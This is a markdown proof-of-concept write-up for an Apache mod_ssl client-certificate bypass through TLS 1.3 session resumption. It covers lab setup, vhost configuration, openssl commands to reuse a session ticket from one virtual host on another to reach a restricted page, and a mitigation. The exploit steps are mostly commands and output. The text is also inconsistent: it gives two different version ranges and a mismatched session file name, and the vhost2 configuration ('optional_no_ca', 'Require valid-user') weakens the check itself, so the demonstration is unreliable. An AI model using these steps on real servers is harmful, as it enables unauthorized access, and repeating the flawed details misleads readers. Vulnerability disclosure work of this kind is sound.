Apache HTTP Server versions 2.4.35 – 2.4.63 are vulnerable to a client certificate authentication bypass when TLS 1.3 session resumption is used across virtual hosts with different `SSLCACertificateFile` directives.```markdown
# CVE-2025-23048: Apache mod_ssl TLS 1.3 Session Resumption Client Certificate Bypass
**Apache HTTP Server versions 2.4.35 – 2.4.62 are vulnerable to a client certificate authentication bypass when TLS 1.3 session resumption is used across virtual hosts with different `SSLCACertificateFile` directives.**
An attacker with a valid client certificate for one virtual host can resume a TLS 1.3 session on a different virtual host that requires a certificate issued by a distinct CA — gaining unauthorized access to protected resources.
---
## Tested Environment
- Apache HTTP Server: 2.4.57 (Win64)
- Operating System: Windows 10 (64-bit)
---
## Server Setup
### 1. Install Apache 2.4.57 (Win64)
```
```
# Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# Extract to C:\Apache24
```
### 2. Enable Required Modules in `conf\httpd.conf`
```apache
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so
```
### 3. Configure SSL Session Cache
```apache
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on
```
### 4. Create SSL Directory and Generate Certificates
```bash
cd C:\Apache24\conf
mkdir ssl
cd ssl
# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"
# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365
# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"
# Cleanup
del client_ca1.csr *.srl
```
### 5. Configure Virtual Hosts (`conf\extra\httpd-vhosts.conf`)
```apache
<VirtualHost *:443>
ServerName vhost1.example.com
DocumentRoot "C:/Apache24/htdocs/vhost1"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
SSLVerifyClient optional
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location />
Require ssl-verify-client
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName vhost2.example.com
DocumentRoot "C:/Apache24/htdocs/vhost2"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"
SSLVerifyClient optional_no_ca
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location /restricted>
Require valid-user
</Location>
</VirtualHost>
```
### 6. Create Protected Content
```bash
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html
mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html
```
### 7. Start Apache
```bash
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start
```
---
## Proof of Concept
### Step 1: Full Handshake with `vhost1` → Save Session
```bash
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443
```
**Input after connection:**
```
GET / HTTP/1.1
Host: vhost1.example.com
```
--------------------------------------------------------------------
**Expected Output (truncated):**
```
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>
```
> Session ticket saved to `session_shared.pem`.
---
### Step 2: Resume Session on `vhost2` → Access Protected Path
```bash
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443
```
**Input:**
```
GET /restricted/ HTTP/1.1
Host: vhost2.example.com
```
**Expected Output (Critical):**
```
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Resumption PSK: ...
TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>
```
--------------------------------------------------------------------
> **Client certificate from CA1 was accepted on vhost2 (which trusts only CA2)**
> **No re-authentication occurred — session resumption bypassed CA check**
---
## Mitigation
```apache
SSLStrictSNIVHostCheck on
```
in **all** TLS 1.3 virtual hosts requiring distinct client CAs.
> Disables cross-SNI session resumption — prevents bypass.
---
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